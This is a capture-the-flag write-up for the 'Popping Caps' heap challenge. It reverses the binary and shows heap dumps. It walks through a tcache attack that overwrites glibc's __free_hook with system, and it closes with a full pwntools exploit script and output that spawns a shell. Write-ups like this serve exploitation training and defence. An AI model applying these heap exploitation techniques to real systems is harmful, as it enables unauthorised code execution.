Popping Caps 1
For this writeup, I'm assuming you've solved the first popping caps. These two are pretty similar.
Reversing
Taking a look at the main function, we see a lot of similarities:
undefined8 main(void)
{
ulong choice;
size_t size;
long freeOffset;
long lives;
void *ptr;
void *ptrCpy;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
printf("Here is system %p\n",system);
lives = 7;
ptr = (void *)0x0;
ptrCpy = (void *)0x0;
while (lives != 0) {
printf("You have %llu caps!\n",lives);
puts("[1] Malloc");
puts("[2] Free");
puts("[3] Write");
puts("[4] Bye");
puts("Your choice: ");
choice = read_num();
if (choice == 2) {
puts("Whats in a free: ");
freeOffset = read_num();
free((void *)((long)ptr + freeOffset));
if (ptr == ptrCpy) {
ptrCpy = (void *)0x0;
}
}
else {
if (choice < 3) {
if (choice == 1) {
puts("How many: ");
size = read_num();
ptr = malloc(size);
ptrCpy = ptr;
}
}
else {
if (choice == 3) {
puts("Read me in: ");
read(0,ptrCpy,0xff);
}
else {
if (choice == 4) {
bye();
}
}
}
}
puts("BANG!");
lives = lives + -1;
}
bye();
return 0;
}
So some differences we noticed from the first problem, we can scan in 0xff
bytes instead of 0x8
bytes. Also we notice that the bye
function doesn't have the malloc
call in it:
void bye(void)
{
/* WARNING: Subroutine does not return */
exit(0);
}
So we have to do this without a malloc at the end. Our previous attack won't work anymore.
Exploit
For this, we will essentially be freeing the chunk which holds the tcache linked list information, reallocating it, and writing to it. First we call malloc to setup the heap:
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x0 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x0 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x0 0x0
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x0
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
Proceeding that, we will free the tcache idx block:
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x0 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x1000000 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x0 0x0
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x556921223010
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
As you can see, that chunk is in the tcache. Next we will allocate it:
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x0 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x0 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x0 0x0
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x0
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
Now ptrCopy
is set equal to 0x556921223010
. We will write to the tcache idx block. We will write to the beginning of the first idx, the libc address of free
(which we know from the earlier infoleak), and also set the idx count to 0x1
. Also one thing I did here is I put /bin/sh\x00
at 0x556921223050
, however that ended up not being needed:
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x1 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x0 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x7f9c2755b8e8 0x68732f6e69622f
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x0
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
gef➤ x/g 0x7f9c2755b8e8
0x7f9c2755b8e8 <__free_hook>: 0x0
Proceeding that we will allocate the chunk to the free hook:
gef➤ x/100g 0x0000556921223000
0x556921223000: 0x0 0x251
0x556921223010: 0x0 0x0
0x556921223020: 0x0 0x0
0x556921223030: 0x0 0x0
0x556921223040: 0x0 0x0
0x556921223050: 0x0 0x68732f6e69622f
0x556921223060: 0x0 0x0
0x556921223070: 0x0 0x0
0x556921223080: 0x0 0x0
0x556921223090: 0x0 0x0
0x5569212230a0: 0x0 0x0
0x5569212230b0: 0x0 0x0
0x5569212230c0: 0x0 0x0
0x5569212230d0: 0x0 0x0
0x5569212230e0: 0x0 0x0
0x5569212230f0: 0x0 0x0
0x556921223100: 0x0 0x0
0x556921223110: 0x0 0x0
0x556921223120: 0x0 0x0
0x556921223130: 0x0 0x0
0x556921223140: 0x0 0x0
0x556921223150: 0x0 0x0
0x556921223160: 0x0 0x0
0x556921223170: 0x0 0x0
0x556921223180: 0x0 0x0
0x556921223190: 0x0 0x0
0x5569212231a0: 0x0 0x0
0x5569212231b0: 0x0 0x0
0x5569212231c0: 0x0 0x0
0x5569212231d0: 0x0 0x0
0x5569212231e0: 0x0 0x0
0x5569212231f0: 0x0 0x0
0x556921223200: 0x0 0x0
0x556921223210: 0x0 0x0
0x556921223220: 0x0 0x0
0x556921223230: 0x0 0x0
0x556921223240: 0x0 0x0
0x556921223250: 0x0 0x21
0x556921223260: 0x0 0x0
0x556921223270: 0x0 0x20d91
0x556921223280: 0x0 0x0
0x556921223290: 0x0 0x0
0x5569212232a0: 0x0 0x0
0x5569212232b0: 0x0 0x0
0x5569212232c0: 0x0 0x0
0x5569212232d0: 0x0 0x0
0x5569212232e0: 0x0 0x0
0x5569212232f0: 0x0 0x0
0x556921223300: 0x0 0x0
0x556921223310: 0x0 0x0
Now that ptrCopy
is set to the free hook, we will write to it the address of system
. I originally tried using a onegadget, however they didn't work for me in this case:
gef➤ x/g 0x7f9c2755b8e8
0x7f9c2755b8e8 <__free_hook>: 0x7f9c271bd440
gef➤ x/g 0x7f9c271bd440
0x7f9c271bd440 <system>: 0xfa66e90b74ff8548
Now ptr
is set to the free hook at 0x7f9c2755b8e8
, in the libc. Next we will free the string /bin/sh\x00
in the libc, by passing our argument to free to be the offset between the free hook and that string. When we do that, the free hook gets called with the argument to free which is a pointer to /bin/sh
. This calls system("/bin/sh")
.
Exploit
Putting it all together, we have the following exploit:
from pwn import *
#target = remote("pwn.chal.csaw.io", 1008)
target = process('./popping_caps', env={"LD_PRELOAD":"./libc.so.6"})
#gdb.attach(target, gdbscript='pie b *0xbca')
elf = ELF("popping_caps")
libc = ELF("libc.so.6")
leak = target.recvuntil("Here is system ")
leak = target.recvline()
leak = leak.strip("\n")
leak = int(leak, 16)
libcBase = leak - libc.symbols["system"]
print "libc base: " + hex(libcBase)
def pl():
print target.recvuntil("Your choice:")
def malloc(x):
pl()
target.sendline("1")
print target.recvuntil("How many:")
target.sendline(str(x))
def write(x):
pl()
target.sendline("3")
print target.recvuntil("Read me in:")
target.send(x)
def free(x):
pl()
target.sendline("2")
print target.recvuntil("Whats in a free:")
target.sendline(str(x))
malloc(0)
free(-592)
malloc(0x240)
payload = p64(0x1) + p64(0x0)*7 + p64(libcBase + libc.symbols["__free_hook"]) + "/bin/sh\x00"
write(payload)
malloc(0)
write(p64(libcBase + libc.symbols["system"]))
free(-2333262)
target.interactive()
When we run it:
$ python roland.py
[+] Starting local process './popping_caps': pid 3993
[*] '/home/guyinatuxedo/Desktop/roland/popping_caps'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/guyinatuxedo/Desktop/roland/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc base: 0x7f3a7d695000
You have 7 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
How many:
BANG!
You have 6 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
Whats in a free:
BANG!
You have 5 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
How many:
BANG!
You have 4 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
Read me in:
BANG!
You have 3 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
How many:
BANG!
You have 2 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
Read me in:
BANG!
You have 1 caps!
[1] Malloc
[2] Free
[3] Write
[4] Bye
Your choice:
Whats in a free:
[*] Switching to interactive mode
$ w
22:52:12 up 39 min, 1 user, load average: 0.00, 0.02, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 22:13 ?xdm? 32.21s 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core libc.so.6 popping_caps roland.py solved.py
Just like that, we popped a shell!